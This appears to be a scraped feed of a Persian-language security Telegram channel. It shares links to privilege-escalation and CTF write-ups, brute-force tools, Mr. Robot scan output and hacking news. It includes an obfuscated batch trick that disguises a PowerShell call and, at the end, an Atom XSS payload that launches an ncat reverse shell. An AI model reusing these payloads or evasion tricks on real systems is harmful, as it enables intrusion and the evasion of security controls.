راهکارهای جایگزین برای دستیابی به یوزر SYSTEM

https://blog.xpnsec.com/becoming-system/

#windows
#privilege_escalate
#network

@sec_nerd

write-up for dont_panic

موضوع : مهندسی معکوس

https://eternal.red/2017/dont_panic-writeup/

#RE
#writeup

@sec_nerd

X Attacker

ارسالی از اعضای کانال 🌺

#web
#pentest

@sec_nerd

رایت آپ H1-212 CTF هکر وان

https://www.sxcurity.pro/H1-212%20CTF%20Solution.pdf

#web
#hackerone
#bugBounty

@sec_nerd

اسکریپت بروت فورس باکت های s3 سرورهای ابری آمازون

lazys3

https://github.com/nahamsec/lazys3

#aws
#cloud
#bruteForce

@sec_nerd

باز هم پاورشل و ...

set ♫=set

%♫% ☺️=pow^er&&%♫% ☻=she^ll %☺️%%☻%

%♫% ♥️=e^r pow%♥️%sh%♥️:r=ll%


#windows
#ps
#trick

@sec_nerd

پادکست SANS در مورد Struts2
https://www.youtube.com/watch?v=5veKn2QYib0
#java
#struts2
#tomcat
#apache
#podcast
#sans

@sec_nerd

جلوگیری از جاسوسی ویندوز ۱۰ با تغییر در فایل هاست و رجیستری

https://github.com/WindowsLies/BlockWindows


#windows
#telemetry
#spy

@sec_nerd

کلید GPG مورد استفاده الیوت در این قسمت 9C2FA3D1

https://pgp.mit.edu/pks/lookup?op=get&search=0xB178523B9C2FA3D1

#mr_robot

@sec_nerd

اسکریپت بروت فورس vhost
https://github.com/gwen001/vhost-brute

#linux
#pentest
#php

@sec_nerd

اسکن رنج آی پی مورد استفاده در این سریال:

nmap -sP 192.251.68.0/24

Starting Nmap 7.40 ( https://nmap.org ) at 2017-11-21 15:50 +0330
Nmap scan report for 192.251.68.218 irrelevant
Host is up (0.32s latency).
Nmap scan report for 192.251.68.223 (https://compute.e-corp-usa.com)
Host is up (0.30s latency).
Nmap scan report for 192.251.68.224 (https://y8agrfx3.bxjyb2jvda.net/) virtual linux machine
Host is up (0.31s latency).
Nmap scan report for 192.251.68.229 (https://yac9cl78.bxjyb2jvda.net/) upsadmin putty! jalebe!
Host is up (0.32s latency).
Nmap scan report for 192.251.68.232 (https://ycg67gca.bxjyb2jvda.net) kibana panel used in e-corp
Host is up (0.32s latency).
Nmap scan report for 192.251.68.233 (https://yakkqwhz.bxjyb2jvda.net/) frankBowman
Host is up (0.34s latency).
Nmap scan report for 192.251.68.234 (https://yakkqwhz.bxjyb2jvda.net/) frankBowman
Host is up (0.34s latency).
Nmap scan report for 192.251.68.238 (https://y9bukwer.bxjyb2jvda.net/) Live IP Camera
Host is up (0.31s latency).
Nmap scan report for 192.251.68.239 (https://i239.bxjyb2jvda.net/) fsociety ransom page
Host is up (0.32s latency).
Nmap scan report for 192.251.68.240 (https://irc.colo-solutions.net/) fsociety IRC channel
Host is up (0.32s latency).
Nmap scan report for 192.251.68.241 (https://www.conficturaindustries.com/) looks irrelevant
Host is up (0.32s latency).
Nmap scan report for 192.251.68.242 (https://i242.bxjyb2jvda.net/) UPS admin putty (ups_fw_patch.zip here)
Host is up (0.33s latency).
Nmap scan report for 192.251.68.243 (https://i243.bxjyb2jvda.net/) kali linux connects to mobley android
Host is up (0.33s latency).
Nmap scan report for 192.251.68.244 irrelevant
Host is up (0.33s latency).
Nmap scan report for 192.251.68.245 (https://i245.bxjyb2jvda.net/) some oldschool screen
Host is up (0.33s latency).
Nmap scan report for 192.251.68.246 (https://i246.bxjyb2jvda.net/) Elliot tools
Host is up (0.33s latency).
Nmap scan report for 192.251.68.247 (https://i247.bxjyb2jvda.net) mimikatz
Host is up (0.34s latency).
Nmap scan report for 192.251.68.248 irrelevant
Host is up (0.34s latency).
Nmap scan report for 192.251.68.249 irc channel
Host is up (0.34s latency).
Nmap scan report for 192.251.68.250 ransom page
Host is up (0.34s latency).
Nmap scan report for 192.251.68.251 irrelevant
Host is up (0.34s latency).
Nmap scan report for 192.251.68.252 irrelevant
Host is up (0.35s latency).
Nmap scan report for 192.251.68.253 irc channel
Host is up (0.35s latency).
Nmap scan report for 192.251.68.254 ransom page
Host is up (0.35s latency).
Nmap done: 256 IP addresses (24 hosts up) scanned in 52.97 seconds

#mr_robot

@sec_nerd

git cheatsheet

تمپلیت html رایگان StarAdmin

https://github.com/BootstrapDash/StarAdmin-Free-Bootstrap-Admin-Template

#html
#template

@sec_nerd

دادگستری آمریکا با متهم کردن یک ایرانی به نام «بهزاد مصری» به هک کردن شبکه رایانه‌ای شرکت سازنده سریال «بازی تاج و تخت» و سرقت قسمت‌های منتشر نشده آن، وی را تحت پیگرد قرار داد.

منبع : فارس

#news
#iran
#usa
#breach
#got7

@sec_nerd

Iranian Behzad Mesri charged in HBO hack, ‘Game of Thrones’ script theft

بهزاد مصری به عنوان عضوی از گروه هکری Turk Black Hat Security توسط دادگستری ایالات متحده به عنوان مجرم معرفی و تحت پیگرد قرار گرفت.
این تیم با ادعای nbc برای ارتش ایران علیه اسراییل اقدام به حملات سایبری کرده است.
@sec_nerd
هک شبکه HBO در دادگاه ارتباطی به دولت ایران پیدا نکرده و مصری به صورت شخصی این حمله را صورت داده است.
این هکر موفق شد با نفوذ به حساب کارکنان کمپانی HBO چهار قسمت از فصل هفت سریال Game of Thrones را بدست آورد.

https://www.nbcnews.com/news/world/iranian-behzad-mesri-charged-hbo-hack-game-thrones-script-theft-n822831


پست های مرتبط در زمان وقوع این حمله که در کانال پوشش داده شد:
https://t.iss.one/sec_nerd/414
https://t.iss.one/sec_nerd/443
https://t.iss.one/sec_nerd/464


#hbo
#got7
#iran
#usa

@sec_nerd

گوگل اطلاعات مکان گوشی را حتی زمانی که GPS خاموش است جمع آوری میکند!

https://bit.ly/2A11WzM

#google
#android
#spy

@sec_nerd

اجرای OSINT برای سیستم کنترل کشتی ها که چندی پیش مورد نفوذ قرار گرفت + شناسایی افراد

https://www.pentestpartners.com/security-blog/osint-from-ship-satcoms/

#breach
#ship
#backdoor

#satcom
#osint

@sec_nerd

بیش از ۴۰۰ وبسایت بزرگ موس و کیبورد شما را ضبط میکنند!
https://bit.ly/2zudtdS

#trackers
#privacy
@sec_nerd

وبسایتی در دارک نت که اقدام به فروش حسابهای RDP و SSH و SMTP و ... میکند!

@sec_nerd

باگ xss در برنامه atom که منجر به اجرای دستور از راه دور میشود!

<script> https://window.top .require('child_process').execFile('/usr/bin/xterm',['-e', 'ncat 127.0.0.1 4242 -e /bin/bash']); </script>

#atom
#rce
#xss
#dev

@sec_Nerd